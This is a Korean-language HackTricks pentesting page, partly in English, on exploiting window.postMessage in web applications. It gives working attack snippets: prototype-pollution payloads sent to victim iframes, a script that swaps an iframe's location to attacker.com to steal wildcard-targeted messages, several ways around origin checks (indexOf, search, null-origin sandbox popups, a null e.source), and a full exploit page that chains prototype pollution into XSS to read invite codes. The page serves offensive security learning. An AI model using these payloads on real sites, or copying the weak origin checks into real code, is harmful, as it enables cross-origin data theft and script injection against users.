PostMessage 취약점
Reading time: 8 minutes
PostMessage 취약점
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
PostMessage 전송
PostMessage는 메시지를 전송하기 위해 다음 함수를 사용합니다:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
targetOrigin는 '*' 또는 _https://company.com_과 같은 URL일 수 있습니다.
두 번째 시나리오에서는 메시지를 해당 도메인으로만 보낼 수 있습니다 (창 객체의 출처가 다르더라도).
와일드카드가 사용되면, 메시지는 모든 도메인으로 전송될 수 있으며, 창 객체의 출처로 전송됩니다.
iframe 공격 및 targetOrigin의 와일드카드
이 보고서에서 설명한 바와 같이, iframed(X-Frame-Header 보호가 없음) 될 수 있는 페이지를 찾고 와일드카드(*)를 사용하여 postMessage를 통해 민감한 메시지를 전송하는 경우, iframe의 origin을 수정하고 민감한 메시지를 당신이 제어하는 도메인으로 유출할 수 있습니다.
페이지가 iframed 될 수 있지만 targetOrigin이 와일드카드가 아닌 URL로 설정된 경우, 이 트릭은 작동하지 않습니다.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener 악용
**addEventListener
**는 JS가 **postMessages
**를 기대하는 함수를 선언하는 데 사용하는 함수입니다.
다음과 유사한 코드가 사용될 것입니다:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).
Enumeration
In order to find event listeners in the current page you can:
- Search the JS code for
window.addEventListener
and$(window).on
(JQuery version) - Execute in the developer tools console:
getEventListeners(window)
- Go to Elements --> Event Listeners in the developer tools of the browser
- Use a browser extension like https://github.com/benso-io/posta or https://github.com/fransr/postMessage-tracker. This browser extensions will intercept all the messages and show them to you.
Origin check bypasses
event.isTrusted
속성은 진정한 사용자 행동에 의해 생성된 이벤트에 대해서만True
를 반환하므로 안전하다고 간주됩니다. 올바르게 구현되면 우회하기 어려우나, 보안 검사에서의 중요성은 주목할 만합니다.- PostMessage 이벤트에서 출처 검증을 위해 **
indexOf()
**를 사용하는 것은 우회에 취약할 수 있습니다. 이 취약성을 설명하는 예시는 다음과 같습니다:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
String.prototype.search()
의search()
메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 조작된 도메인으로 검증을 우회할 수 있게 합니다. 예를 들어:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
match()
함수는search()
와 유사하게 정규 표현식을 처리합니다. 정규 표현식이 잘못 구성되면 우회에 취약할 수 있습니다. -
escapeHtml
함수는 문자를 이스케이프하여 입력을 정화하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 속성이hasOwnProperty
를 인식하지 못하게 할 수 있다면,escapeHtml
은 예상대로 작동하지 않을 것입니다. 이는 아래의 예시에서 보여집니다: -
예상 실패:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- 이스케이프 우회:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
이 취약성의 맥락에서, File
객체는 읽기 전용 name
속성으로 인해 특히 악용될 수 있습니다. 이 속성은 템플릿에서 사용될 때 escapeHtml
함수에 의해 정화되지 않아 잠재적인 보안 위험을 초래합니다.
- JavaScript의
document.domain
속성은 스크립트에 의해 설정되어 도메인을 단축할 수 있으며, 이는 동일한 부모 도메인 내에서 보다 느슨한 동일 출처 정책 시행을 허용합니다.
e.origin == window.origin 우회
sandboxed iframe 내에 웹 페이지를 임베드할 때 %%%%%%, iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 sandbox 속성 및 보안과 기능에 대한 그 함의와 관련하여 특히 중요합니다.
**allow-popups
**를 sandbox 속성에 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 sandbox 제한을 상속받습니다. 이는 allow-popups-to-escape-sandbox
속성이 포함되지 않는 한, 팝업 창의 출처도 null
로 설정되어 iframe의 출처와 일치하게 됨을 의미합니다.
따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **postMessage
**를 사용하여 메시지를 보낼 때, 송신 및 수신 양쪽의 출처가 모두 null
로 설정됩니다. 이 상황은 **e.origin == window.origin
**이 true로 평가되는 시나리오를 초래합니다 (null == null
), 왜냐하면 iframe과 팝업이 모두 null
이라는 동일한 출처 값을 공유하기 때문입니다.
더 많은 정보는 읽어보세요:
Bypassing SOP with Iframes - 1
e.source 우회
메시지가 스크립트가 청취하고 있는 동일한 창에서 온 것인지 확인할 수 있습니다 (특히 브라우저 확장의 콘텐츠 스크립트가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
메시지의 **e.source
**를 null로 강제할 수 있습니다. iframe을 생성하여 postMessage를 전송하고 즉시 삭제하면 됩니다.
자세한 정보는 읽어보세요:
Bypassing SOP with Iframes - 2
X-Frame-Header 우회
이러한 공격을 수행하기 위해서는 이상적으로 피해자 웹 페이지를 iframe
안에 넣을 수 있어야 합니다. 그러나 X-Frame-Header
와 같은 일부 헤더는 그러한 동작을 방지할 수 있습니다.
이러한 시나리오에서는 덜 은밀한 공격을 여전히 사용할 수 있습니다. 취약한 웹 애플리케이션에 새 탭을 열고 그와 통신할 수 있습니다:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
자식에게 전송된 메시지 훔치기: 메인 페이지 차단
다음 페이지에서는 메인 페이지를 차단한 후 자식 iframe에 전송된 민감한 postmessage 데이터를 어떻게 훔칠 수 있는지 보여줍니다. 이 과정에서 자식의 XSS를 악용하여 데이터가 수신되기 전에 유출합니다:
Blocking main page to steal postmessage
iframe 위치 수정으로 메시지 훔치기
X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, 그 자식 iframe의 위치를 변경할 수 있습니다. 만약 와일드카드를 사용하여 전송된 postmessage를 수신하고 있다면, 공격자는 그 iframe의 출처를 자신이 제어하는 페이지로 변경하여 메시지를 훔칠 수 있습니다:
Steal postmessage modifying iframe location
postMessage를 통한 프로토타입 오염 및/또는 XSS
postMessage
를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는 페이지를 iframe으로 삽입하고 프로토타입 오염/XSS를 악용하여 postMessage
를 통해 익스플로잇을 전송할 수 있습니다.
https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html에서 postMessage를 통한 XSS에 대한 매우 잘 설명된 사례를 찾을 수 있습니다.
iframe
으로의 postMessage
를 통한 프로토타입 오염 및 XSS를 악용하는 익스플로잇의 예:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
자세한 정보는 다음을 참조하세요:
- 프로토타입 오염에 대한 페이지 링크
- XSS에 대한 페이지 링크
- 클라이언트 측 프로토타입 오염에서 XSS로에 대한 페이지 링크
참고 문헌
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- 연습용: https://github.com/yavolo/eventlistener-xss-recon
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.